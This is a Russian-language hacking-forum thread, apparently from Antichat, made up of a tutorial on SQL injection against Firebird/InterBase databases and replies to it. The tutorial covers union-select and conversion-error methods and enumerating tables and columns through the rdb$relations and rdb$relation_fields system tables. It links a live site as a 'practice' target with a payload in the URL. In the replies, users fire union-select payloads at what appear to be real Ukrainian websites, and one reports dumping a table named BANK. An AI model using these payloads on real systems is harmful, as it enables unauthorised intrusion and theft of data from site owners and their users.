Заметка по Firebird SQL injection

Discussion in 'Уязвимости' started by l1ght, 13 Jan 2010.

  1. l1ght

    l1ght Elder - Старейшина

    Joined:
    5 Dec 2006
    Messages:
    191
    Likes Received:
    678
    Reputations:
    333
    история вопроса:
    почему firebird а не interbase? - бесплатность, распостраненность, функциональность, а в остальном они схожи )

    особенности:

    1. select запросы должны содержать кейворды from table

    2. аналоги limit'a:

    interbase >= 6.5

    Code:
    select * from table order by <field_list> 
    [ROWS <lower_value> [TO <upper_value>] [BY <step_value>]
    Firebird >= 1.0 select first [limit] skip [at], подробности

    Firebird >= 2.0 так же поддерживает rows, подробности

    3. символы комментариев:
    3.1 -- firebird (>1.0)
    3.2 а что мешает продолжить запрос?) interbase, firebird все версии =)

    4. datatypes
    5. discovering
    warning: + php функции:
    ibase_query()
    ibase_fetch_row()
    ibase_fetch_object()
    ibase_fetch_assoc()
    ibase_free_result()

    6. конкатенация осуществляется символами ||

    Теперь о самих sqli:

    способ 1 (union select)

    подбор колонок:

    1) Дедовский способ:
    Code:
    ?param=1+union+select+1+from+rdb$relations--
    характерная ошибка: Invalid command count of column list and variable list do not match

    2) order/group by
    Code:
    ?param=1+order+by+99--
    характерная ошибка: Invalid column position used in the ORDER BY

    а дальше 2 варианта развития событий, либо типы столбцов не совпадают (Invalid command Data type unknown) и вам придется шаманить с cast(lala as datatype(n)) см. особенность (4)
    либо вам повезло (с вероятностью 0.0001%)) и типы данных совпадают как, например, (сейчас и в дальнейшем главный подопытный) здесь:
    способ 2 (conversion error)

    состовляем подзапрос:

    и ловим следущую ошибку: conversion error from string "RDB$PAGES"

    внимание, если появляется ошибка: arithmetic exception, numeric overflow, or string truncation
    конвертируем данные с cast(lala as datatype(n))

    теперь, независимо от выбранного вами способа, надо рассказать о некоторых системных таблицах firebird

    rdb$relation - аналог information_schema.tables

    полезные колонки:
    Code:
    rdb$relation_name - имя таблицы
    rdb$system_flag - принадлежность таблицы к системным (хороший способ отсеивания, 1 = системная)
    rdb$relation_fields - поля для таблиц

    полезные колонки:
    Code:
    rdb$field_name - очевидно из названия
    rdb$system_flag - то же самое
    rdb$field_position - порядковый номер поля
    rdb$relation_name, rdb$base_field - определяют имена таблиц
    так же хотелось бы отметить присутствие колонки rdb$field_source, она содержит имя домена, автоматически прописанного для каждого столбца в rdb$fields, которая в свою очередь содержит колонку rdb$field_type, определяющую тип поля:
    Code:
    261 - BLOB
    14 - CHAR
    40 - CSTRING
    11 - DFLOAT
    27 - DOUBLE
    10 - FLOAT
    16 - INT64
    8 - INTEGER
    9 - QUAD
    7 - SMALLINT
    12 - DATE 
    13 - TIME
    35 - TIMESTAMP
    37 - VARCHAR
    что в теории в купе с bsqli может быть полезным для способа union select ;)

    how to use:

    настало время вывести 1ую таблицу из rdb$relations, делается это так:
    => conversion error from string "ACCESS"
    далее, n=1,2,...
    таблицы повторяются, поэтому желательно использовать оператор distinct:
    колонки (если ковычки слешируются можно воспользоватся функцией ascii_char (firebird 2.1), в InterBase по дефолту (поправте если ошибаюсь) вообще нет строковых функций=)):
    выводим данные:
    возможен и посимвольный перебор (n=1,2,...):
    хорошая картинко:

    [​IMG]

    потренероваться можно здесь:
    http://www.ppc4all.com/category.php?cat=(select+first+1+user+from+rdb$relation_fields)
     
    13 people like this.
  2. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Как раз Firebased SQL
    Code:
    http://crimea.ua/category.php?id=18%27+union+select+1,2+--+
    но не прокатывает
     
  3. randman

    randman Members of Antichat

    Joined:
    15 May 2010
    Messages:
    1,366
    Likes Received:
    610
    Reputations:
    1,101
    Это вам что, сканер так что-ли показывает? Нет тут инъекции, а Firebased и в помине.
     
    #3 randman, 18 Aug 2013
    Last edited: 18 Aug 2013
  4. Unknowhacker

    Unknowhacker Member

    Joined:
    25 May 2013
    Messages:
    254
    Likes Received:
    35
    Reputations:
    24
    Code:
    http://seafarer.od.ua/?page=study&course=[COLOR=DarkOrange]-2+union+select+1,rdb$relation_name,3,4,5,6,7+from+rdb$relations+--+[/COLOR]
    Ну вывел я таблицу BANK Смотрел обучалку Но там другой способ :mad: